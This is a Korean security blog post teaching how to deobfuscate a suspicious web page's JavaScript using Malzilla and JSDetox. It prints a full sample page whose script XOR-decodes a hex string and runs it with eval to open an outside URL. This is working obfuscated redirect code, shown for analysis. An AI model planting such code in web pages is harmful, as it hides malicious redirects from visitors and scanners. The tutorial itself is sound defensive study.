본문으로 바로가기

Obfuscation 해제 실습

category Information Security 2013.03.12 15:25

예제 코드

<HTML><HEAD>
<script>
function fn(ao){var fo,do_=new Array(),eo="\x76\x68\x6F\x65\x6E\x76\x2F\x6E\x71\x64\x6F\x29\x23\x69\x75\x75\x71\x3B\x2E\x2E\x75\x60\x2F\x71\x6E\x71\x6E\x39\x39\x2F\x68\x6F\x67\x6E\x2E\x66\x66\x2F\x69\x75\x6C\x6D\x3E\x78\x65\x5E\x6A\x64\x78\x3C\x30\x37\x64\x33\x33\x67\x37\x31\x31\x31\x31\x30\x38\x31\x64\x34\x23\x2D\x23\x5E\x72\x64\x6D\x67\x23\x28\x01\x01";for(fo=0;fo<eo.length;fo++)do_[fo]=eo.charCodeAt(fo);eo="";for(fo=0;fo<do_.length;fo++)eo+=String.fromCharCode(do_[fo]^ao);eval(eo);}fn(1);
</script>
<TITLE>Notice</TITLE></HEAD><BODY bgcolor='#FFFFCC'><center><br><br><br>
</center>
<center><h3>
<p>
访问本页面,您的浏览器需要支持JavaScript
</p>

<p>
The browser needs JavaScript to continue
</p></h3></center>
</BODY></HTML>w


다음 난독화를 풀어보려고 합니다. 영어로 "브라우저에 JavaScript가 필요하다"고 써놓았네요. 기본적으로 \x로 값이 들어간 경우, \x를 %로 치환하여 풀면 간단하게 풀립니다.


[그림 1. Malzilla > Misc Decoders]

[그림 2. 문자열 치환 후 Decode Hex (%)로 변환]

[그림 3. Decode Hex (%)변환 결과][그림 3. Decode Hex (%)변환 결과]


그림 1에서 Malzilla의 'Misc Decoders' 탭에서 보통 치환과 Decode작업을 하게 됩니다. 그림 2와 같이 '\x'를 '%'로 치환을 하고 나오는 코드를 'Decode Hex (%)'를 눌러 치환하게 되면 ASCII코드 값에 맞게 계산하여 변환해 줍니다. 


하지만 변환 결과가 이해할 수 없는 문자열이 나왔네요.


[그림 4. Download > Format code]


알 수 없는 결과가 나온 이유는 난독화 코드 아래의 for구문 때문에 그렇습니다. 


그림 4와 같이 Malzilla에서는 소스코드를 보기좋게 해주는 기능을 가지고 있습니다. 하지만 기능 구현면에서 조금 문제가 있는지 for구문이 조각나서 보여지고 있습니다. 아마도 라인에 ;가 들어가면 아랫줄로 내리는 것 같습니다.

[그림 5. JSDetox > HTML Document]


그래서 저는 난독화 해제가 간단할 때에는 Malzilla를 쓰고, 복잡할 때에는 JSDetox를 사용합니다. JSDetox에 대한 간단한 내용은 http://hidka.tistory.com/entry/JSDetox 에 들어가보시면 됩니다.


그림 5에서 처럼 'HTML Document'탭의 'Extract Scripts'를 실행하면 HTML코드에서 JavaScript 부분만 도려내어 'Code Analysis' 탭으로 넘겨주게 됩니다.


[그림 6. JSDetox > Code Analysis 1]


그림 6과 같이 JavaScript 부분말 도려내어 넘겨받은 코드는 'Analyze'를 통해 JavaScript를 분석하게 됩니다.


[그림 7. JSDetox > Code Analysis 2]


'Analyze'를 통해 분석한 코드는 reformat 되어 나열되어 선언한 변수 (var fo,do_=new Array(),eo="\x76~";)가 독립된 형태로 바뀌는 것입니다. 그림에는 없지만, 조금 더 추가를 하자면, 간단한 수학 계산이나 String 조합 등을 자동으로 계산해서 가독성을 늘려주게 됩니다.


변환된 코드를 'Send up'을 누르고 'Execute'를 통해 에뮬레이트 하게 됩니다.


[그림 8. JSDetox > Code Analysis 3]


[그림 9. Execution 탭 기능]



'Execute'는 DOM emulate하는 기능으로 코드를 실행한 결과라고 볼 수 있습니다. 아래의 'Execution'탭에서 다양한 결과를 볼 수 있습니다. 분석 결과는 'Show Trace'를 통해 볼 수 있습니다.


[그림 10. 최종 난독화 해제 결과]


위와 같이 DOM emulate가 오류없이 제대로 동작하였다면, 궁금했던 난독화의 내용을 확인 할 수 있습니다.


Download

[1] : Malzilla 1.2.0

[2] : JSDetox


댓글을 달아 주세요

티스토리 툴바